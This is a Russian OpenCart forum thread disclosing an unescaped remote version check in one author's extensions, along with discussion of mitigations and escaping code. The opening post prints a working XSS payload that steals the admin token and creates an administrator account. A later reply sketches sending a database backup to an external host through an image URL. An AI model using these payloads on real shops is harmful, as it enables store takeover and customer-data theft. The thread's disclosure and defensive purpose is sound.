Перейти к публикации
Поиск в
  • Дополнительно...
Искать результаты, содержащие...
Искать результаты в...

Устраняем критическую уязвимость в целом наборе модулей популярного автора.


Yoda
 Поделиться

Рекомендованные сообщения

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор.

 

Но бог и администрация форума ему судья, я думаю они там сами разберутся.

В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках.

 

Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. 
Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру:

 

<script>
// shell sample
// seocms the best architectural mistake forever
// i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
    var vars = [], hash, hashes = null;
    if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&");
    } else if (window.location.href.indexOf("?")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1);
    }
    if (hashes != null) {
        for (var i = 0; i < hashes.length; i++) {
            hash = hashes[i].split("=");
            vars[hash[0]] = hash[1];
        }
    }
    return vars;
}

var url_vars =  getUrlVars();
var token = url_vars.token;
var host =  window.location.origin;
var action = host + "/admin/index.php?route=user/user/add&token=" +  token;


document.addEventListener("DOMContentLoaded", function(event) { 
  $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol",  lastname: "Haha",    email: "[email protected]",  password: "1234",    confirm: "1234",    status: "1" } );
});

</script>


И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники.

 

А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо.

 

Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере

 

Строку 0.0.0.0 site.com // Домен сервера разработчика

 

Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. 


Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная!

Ну и как второстепенную меру защиты, просто добавьте htpassword  авторизацию к админке. 

Успешного бизнеса вам, и безопасных магазинов.

 

 

 

  • +1 14
Ссылка на комментарий
Поделиться на других сайтах


Хороший анализ на XSS, а если нет VPS и большинство на обычном тарифе ? Есть ли настройки у мода, не автообновлять данные (не делать запрос на сервер) ?

Единственное, что мог бы посоветовать автору - использовать CSRF токен, при валидации автообновления или формы, что бы внешним обращением не обойти валидатор.

Ссылка на комментарий
Поделиться на других сайтах

помню несколько лет тому, был взломан опенкартфорум, тогда перепрописали файл response и продвигали свой портал, но что то особой шумихи тогда небыло, переписали сборку, попросили перезаписать файл и всего то, вот и тут, автор заверил что в новых версиях фикс экранирован, а кто варезом пользуется - пусть имеет дыры - это их бремя, а порядочные пользователи - автоматом обновят патч, а владельцу сайта скажите, что бы покупал модули, а если есть чего под кубом, пусть переплатит грамотному кодеру, тот методом исключения проверит, через какой файл шелл вливается и пожертвует модулем или - подберёт аналог, толку из мухи слона тут лепить ?!

Ссылка на комментарий
Поделиться на других сайтах

22 минуты назад, auditor сказал:

автор заверил что в новых версиях фикс экранирован

если есть возможность сменить языковой файл, то стрип тэгс убрать - и подавно

кстати тем же хостс могли пользоваться и злоумышленники и долгое время

Ссылка на комментарий
Поделиться на других сайтах

@yoda честь и совесть русского опенкарта!

Ссылка на комментарий
Поделиться на других сайтах

20 минут назад, Tank сказал:

@yoda честь и совесть русского опенкарта!

Да не, это же у меня личное)))

Какое мне дело до всех тех, кто попал в зону риска.

Ссылка на комментарий
Поделиться на других сайтах


Держите

Рекомендую сделать это в код

 

securiyyFix.ocmod.xml

  • +1 3
Ссылка на комментарий
Поделиться на других сайтах

1 час назад, buslikdrev сказал:

Написали бы как экранировать.
htmlspecialchars();

  Показать контент

<?php
$new 
htmlspecialchars("<a href='test'>Test</a>"ENT_QUOTES);
echo 
$new// &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

 

mysqli_real_escape_string();

  Показать контент

$city $mysqli->real_escape_string($city);

/* этот запрос отработает нормально */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    
printf("%d строк вставлено.\n"$mysqli->affected_rows);
}


То есть так экранировать?

  Показать контент

$result = file_get_contents();
return $this->db->escape(htmlspecialchars($result));

 

 

function xss_clean($data)
{
// Fix &entity\n;
$data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

do
{
    // Remove really unwanted tags
    $old_data = $data;
    $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);

// we are done...
return $data;
}

Мне кажется это наиболее верный вариант, либо же выбирайте:

https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

  • +1 2
Ссылка на комментарий
Поделиться на других сайтах


27 минут назад, chukcha сказал:

Держите

Рекомендую сделать это в код

 

securiyyFix.ocmod.xml

Мало!

Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком.

Вида

 

$get(.... route=tools/backup+token.....блабла бла, data);

$('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

 

Ссылка на комментарий
Поделиться на других сайтах


8 минут назад, Yoda сказал:

через tools/backup

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Ссылка на комментарий
Поделиться на других сайтах

а есть реальный ПОВОД выполнять этот код (код хтмл толи пхп через ехес()) на стороне клиента?

чем вообще данный вызов обусловлен?

Ссылка на комментарий
Поделиться на других сайтах

8 минут назад, nikifalex сказал:

а где собственно виновник этого анекдота?

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

  • +1 1
Ссылка на комментарий
Поделиться на других сайтах

7 минут назад, chukcha сказал:

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Ссылка на комментарий
Поделиться на других сайтах


opencart.pro кажется тоже имеет кубированый код?

Какие претензии вы выставляете другим?

  • +1 1
Ссылка на комментарий
Поделиться на других сайтах

12 минут назад, chukcha сказал:

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Ссылка на комментарий
Поделиться на других сайтах


2 минуты назад, Yoda сказал:

Вы же тоже верите, что это случайная архитектурная ошибка.

Я был всегда против обращения к внешним серверам со стороны админки, каковы причины для этого ни были

Ссылка на комментарий
Поделиться на других сайтах

В 22.12.2018 в 16:10, chukcha сказал:

opencart.pro кажется тоже имеет кубированый код?

Какие претензии вы выставляете другим?

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Ссылка на комментарий
Поделиться на других сайтах


2 минуты назад, Yoda сказал:

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

добавлю  и сделаю а паблике отдельным модом.

Ссылка на комментарий
Поделиться на других сайтах

1 минуту назад, chukcha сказал:

добавлю  и сделаю а паблике отдельным модом.

Тогда уже и фильтрацию в request. 

Ссылка на комментарий
Поделиться на других сайтах


Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

  • +1 2
Ссылка на комментарий
Поделиться на других сайтах

3 минуты назад, chukcha сказал:

Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного.

 

Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет.

 

Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Ссылка на комментарий
Поделиться на других сайтах


1 минуту назад, Yoda сказал:

У меня нет этого модуля.

Это не обязательно иметь его, и не потому что не покупал, а потому что опосредованно вы его обслуживаете..

Да, пусть будет, вы открыты, но вы уверены, что вы точно также можете проЕ... свой домен/сервер?
 

Ссылка на комментарий
Поделиться на других сайтах

  • dinox закрыл теме
Гость
Эта тема закрыта для дальнейших сообщений.
 Поделиться

×
×
  • Создать...

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.